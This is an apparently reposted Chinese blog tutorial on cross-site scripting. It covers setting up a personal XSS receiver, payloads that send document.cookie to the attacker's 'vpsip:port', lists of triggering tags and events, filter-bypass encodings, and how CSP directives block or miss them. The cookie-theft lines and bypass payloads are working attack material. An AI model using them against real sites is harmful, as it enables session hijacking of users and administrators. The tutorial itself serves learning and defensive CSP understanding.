经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
xss小结-从xss平台搭建到csp规则
来源:cnblogs  作者:sijidou  时间:2019/4/15 8:58:59  对本文有异议

0x00前言

xss是跨站脚本攻击,利用嵌入js代码达到‘控制’对方浏览器的作用,测试的时候我们是用alert(1)弹窗,而做CTF也好,实际中的漏洞利用也好一般是用xss获取管理员的cookie

 

0x01xss平台搭建

网上有xss的在线平台,但是别人的总没有自己的用着舒服,于是可以试着手动搭建下属于自己的xss平台

首先要拥有自己的vps,能有公网的ip,才能把目标的信息发送过来

这里搭建推荐用蓝莲花战队的github一个项目:https://github.com/firesunCN/BlueLotus_XSSReceiver

你可以搭在vps上的web服务器上,但是该项目提供了docker,可以使用docker开放到自己想要的端口

  1. git clone https://github.com/firesunCN/BlueLotus_XSSReceiver.git && cd BlueLotus_XSSReceiver
  2. docker build -t bluelotus .
  3. docker run -d -p 81:80 bluelotus

上面3条命令会把xss平台运行到vps的81端口,然后访问自己的vps 81端口的admin.php页面

登录密码默认为bluelotus,输入即可进入页面

 

稍微提一下怎么使用,在我的js中添加个新的文件,插入第一个模板就行

然后把它的var website的值改成 http://vpsip:port/ 即可,端口就是你开放这个xss平台端口,我是用的81

简单的本地测试利用该js文件获取信息,点击生成payload

 

 把这句话插入到xss的输入中

然后刷新下xss平台的主界面,就能获取cookie了

 

0x02 XXS基本触发方式

xss检查都是用个alert(1)弹个框来检查,但是实际上都是为了发送cookie来获取有用的信息

发送cookie的方式用ajax,用window.open,用window.location

即将alert(1)的地方替换成如下代码

  1. <script>alert(1)</script>
    用以下的代码替换,其中的vpsip:port即0x01中提到的xss平台的ip和端口
  2.  
  3. <script>window.open("http://vpsip:port/?cookie=" + document.cookie)</script>
  4.  
  5. <script>window.location="http://vpsip:port/?cookie=" + document.cookie</script>

    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://vpsip:port', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('cookie='+document.cookie); </script>

 

触发javascript的方式有三种

1.利用<script>标签,标签内的内容即可以触发javascript的代码

2.利用javascript:伪协议,该方法会用于一些属性里面,举个例子比如在a标签的href属性可以使用该伪协议 <a href=javascript:alert(1)>xss</a>

3.利用事件onxxxx,比如在打开文档或图片错误时,报错的事件onerror,举例<img src=x onerror=alert(1) />(x这个图片路径是不存在的,所有会触发onerror)

 

能够利用的标签有

  1. <script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>

能够利用的事件有

  1. onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop onerror

能够利用伪协议的属性有

  1. formaction action href xlink:href autofocus src content data

 

有些xss需要用户交互才能触发,比如<a>标签,必须用户点击了<a>标签生成的xss链接,才能触发

而有些标签是不用交互,只要能够加载就能触发的,这里罗列下我知道的(在firefox下成功,在chrome下有些会被chrome拦截)

  1. 利用<script>标签
    <script>alert(1)</script>

    利用报错的事件
    <img src=x onerror=alert(1) />
  2. <object data=x onerror=alert(1)></object>
    <video src=x onerror=alert(1) />
  3. <audio src=x onerror=alert(1) />

    利用加载的时候的事件
  4. <iframe onload=alert(1) />
  5. <svg onload=alert(1)></svg>
  6. <marquee onstart=alert(1)></marquee>

    利用请求资源的时候的伪协议
  7. <iframe src=javascript:alert(1) />
  8. <object data=javascript:alert(1)></object>
  9. <object data=x onerror=alert(1)></object>
  10. <embed src=javascript:alert(1)></embed>

  11. 利用聚集焦点的事件,最后加autofocus是打开页面自动聚集焦点到该标签
  12. <input type=text onfocus=alert(1) autofocus />
  13. <button onfocus=alert(1) autofocus />
  14. <keygen onfocus=alert(1) autofocus />
  15. <select onfocus=alert(1) autofocus />
  16. <textarea onfocus=alert(1) autofocus />

 至于其他标签的用法比如<a>标签就要靠点击触发src=javascript:伪协议

或者利用onmousemove鼠标移动到该标签位置, onclick点击触发这些事件,这里就不再罗列

 

0x03 XXS一点绕过方法

绕过我知道的不多,简单介绍下我收集的

1.在标签的属性任何位置都可以利用html编码进行绕过

  1. &#ascii码十进制;
  2. 例子:t --编码后-> &#116;
  3. <a href=javascript:&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; >xss</a><a href=javascrip&#116;:alert(1) >xss</a>

2.在javascript中可以通过String.fromCharCode()函数进行编码成字符串,但是要使用eval来执行

  1. <a href=javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >xss</a>
    等价于
    <a href=javascript:eval("alert(1)") >xss</a>

    因为如果不加eval,它是这样的,"alert(1)"是被当做字符串,而不是执行代码,所以是不能执行
    <a href=javascript:"alert(1)" >xss</a>

3.在javascript中可以通过\x来编码字符成字符串,也是需要eval来执行,道理同上

  1. <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x31\x27\x29") >xss</a>

4.在标签中有些地方可以用[/]来代替[空格]

  1. <img src=x onerror=alert(1) /> //正常情况
  2. <img/src=x onerror=alert(1) /> //代替前面的空格
  3. <img src=x onerror=alert(1)//> //代替后面的空格
  4. <img/src=x onerror=alert(1)//> //代替前后的空格
  5. <img src=x/onerror=alert(1) /> //错误无法解析

5.在标签中也可以用%0a%0d换行来代替空格

  1. <img src=x onerror%0a%0d=%0a%0dalert(1) />

    <img%0a%0dsrc=x onerror=alert(1) />

6.在javascript中可以利用['']来代替 .

  1. document.cookie
  2. document['cookie']
    document['coo'+'kie']

7.标签和属性大小写不敏感

  1. <imG sRc=x OnerroR=alert(1) />

 

0x04 csp基础

csp(Content Security Policy)是网页安全政策

它的存在就是为了防止XSS的

开启方式有2种,一种是在html中的<meta>标签中写入,一种是通过响应头的Content-Security-Policy字段定义

html前端代码

  1. <meta http-equiv="Content-Security-Policy" content="script-src 'self';">

php后端代码

  1. header("Content-Security-Policy: default-src 'self';");

首先了解有哪些值

* 允许加载所有资源(没有单引号)
'none' 不允许加载任何资源
'self' 允许加载同源资源
data: 允许使用data:伪协议
*.sijidou.com 允许sijdou.com子域的资源加载
sijidou.com 允许sijidou.com域下的资源加载
'unsafe-inline' 允许执行内联资源,如属性,事件,script标签
'unsafe-eval' 允许使用eval执行代码
https: 只允许使用了https:有证书的资源

 

 

 

 

 

 

 

 

 

 

 

 

属性有以下内容

1.script-src

这个属性来判断是否能够加载,执行javascript脚本

1)script-src *; 允许所有的js脚本来源

  1. <script src="http://vpsip/1.js"></script>   //能触发
    <script>alert(1)</script>            //不能触发

2)script-src 'self'; 只允许同源的脚本触发

  1. <script src="http://vpsip/1.js"></script>  //不能触发
    <script>alert(1)</script>            //不能触发
    <script src="1.js"></script>          //调用本地的js文件能触发

3)script-src 'unsafe-inline' 当前页面可以使用javascript脚本

  1. <script>alert(1)</script>            //能触发
    <script>eval("alert(1)")</script>       //不能触发
    <script src="http://vpsip/1.js"></script>   //不能触发
    <script src="1.js"></script>          //不能触发

4)script-src 'unsafe-inline' 'unsafe-eval' 当前页面能够使用javascript脚本,并且能够使用eval函数

  1. <script>eval("alert(1)")</script>        //能触发
    <script>alert(1)</script>             //能触发
    <script src="http://vpsip/1.js"></script>   //不能触发
    <script src="1.js"></script>           //不能触发

 5)script-src 'none' 不允许加载任何资源

  1. <script src="http://vpsip/1.js"></script>   //不能触发
  2. <script src="1.js"></script>         //不能触发
  3. <script>alert(1)</script> //不能触发

 

2.img-src

该属性是定义图片加载的源的策略

1)img-src * 允许加载任何图片资源

  1. <img src=x onerror=alert(1) />         //能够触发
    <img src='http://xxx/1.jpg' />         //允许的

2)img-src 'self' 允许同源的图片被加载

  1. <img src=x onerror=alert(1) />         //也是能够触发的
    <img src='http://xxx/1.jpg' />         //不允许
    <img src='1.jpg' />                //允许的

3)img-src 'none' 不允许图片被加载

  1. <img src=x onerror=alert(1) />         //也能够触发的
    <img src='http://xxx/1.jpg' />         //不允许
    <img src='1.jpg' />                //不允许

总的来说,从哪图片加载如果失败都能触发onerror

 

3.style-src

该属性是规定css加载的来源

style-src * 允许加载任意的css

  1. <link href="1.css" type="text/css" rel="Stylesheet" />    //允许

    #但下面这个不被允许
    <style type="text/css">
    .main{ width:1002px; margin:0 auto;}
    </style>

style-src 'unsafe-line' 可以达到使用内嵌的css样式

  1. #允许
  2. <style type="text/css">
  3. .main{ width:1002px; margin:0 auto;}
  4. </style>

 

4.font-src

该属性是规定字体的加载的来源

和img-src大差不差,但是没法触发onerror之类的事件

 

5.object-src

该属性定义引用资源的加载来源

可以作用的是下面的标签,效果和img-src相同

  1. <object data=xxx />
  2. <embed src=xx />

 

6.media-src

该属性规定音频和视频的加载来源

可以作用的是下面的标签,效果和img-src相同

  1. <audio src=x />
    <video src=x />

 

7.connect-src

定义ajax websocket等策略

1)connect-src * 允许ajax或者websocket访问所有目标

  1. <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.baidu.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>
    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.4399.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

2)connect -src http://www.baidu.com/ 只允许ajax或者websocket访问http://www.baidu.com,如果不是就不被允许

  1. #被允许
    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.baidu.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

    #不被允许
    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.bilibili.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

但是丝毫不影响window.open和window.location的发送

  1. #在connect-src http://www.baidu.com/ 被允许的
    <script>window.open("http://vpsip:port/?cookie=" + document.cookie)</script>
    ##在connect-src http://www.baidu.com/ 被允许的
    <script>window.location="http://vpsip:port/?cookie=" + document.cookie</script>

 

8.child-src

定义frame的来源,是frame-src的改进版

1)child-src * 允许载入所有的其他源页面

  1. <iframe src=http://www.4399.com />      //通过
  2. <iframe src=http://www.baidu.com /> //通过

2)child-src http://www.baidu.com/ 只允许载入百度的页面

  1. <iframe src=http://www.4399.com />      //不通过
  2. <iframe src=http://www.baidu.com /> //通过

 但是也不影响onload事件的触发

  1. <iframe src=http://www.4399.com onload=alert(1) />

 

9.default-src

默认资源定义,如果只设置了 script-src 和 default-src,那么其他的img-src style-src等7个属性和default-src的规则相同

 

0x05 csp的组合规则

可以看到如果在没有script-src和default-src(来定义script-src规则)的情况下,其他的csp防护也是能通过事件之类的来执行javascript代码

1)child-src *;default-src * 这种情况下允许加载任何页面,但是不能运行javascript脚本(default-src定义了script-src的规则)

  1. <iframe src=http://www.baidu.com onload=alert(1) />  //能加载百度页面,没发弹框

只要script-src没有unsafe-inline值,那么该页面就不能执行javascript代码,无论是否是<script>标签内容,属性的javascript:伪协议,事件的执行

2)object-src data:;default-src * 运行使用data:协议,这种我们可以利用javascript代码弹框

  1. <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object>    //被允许
  1. PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==解码结果是<script>alert(1)</script>

3)object-src javascript:;default-src * 运行javascript:协议,但是因为default-src *来规定了script-src没有unsafe-inline值,那么看着就是矛盾的了,这时候判断是不执行

  1. <object data=javascript:alert(1) />      //不被允许

 总结一下就是除了某些标签的data:伪协议可以加载页面(比如<object>标签)可以逃过没有script-src 'inline'在页面上执行javascript代码的情况,其他想要执行javascript代码必须要有script-src 'inline'或者没有定义script-src和default-src规则

之前看<link>可以预加载之类的文章,但是我本地没有成功,也不知道是不是Firefox和chrome的版本更新后对这个问题已经有了处理了

 

0xFF结语

gitbub上的笔记:https://github.com/SiJiDo/XSS-note

虽然有点乱,但是还是能看

参考链接

https://www.cnblogs.com/xiaozi/p/5588099.html

https://www.leavesongs.com/PENETRATION/xss-collect.html

http://heartsky.info/2017/03/03/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E7%BB%95%E8%BF%87%E7%9A%84CSP/

http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

https://lorexxar.cn/2016/08/08/ccsp/#%E4%BB%80%E4%B9%88%E6%98%AFCSP

原文链接:http://www.cnblogs.com/sijidou/p/10695195.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号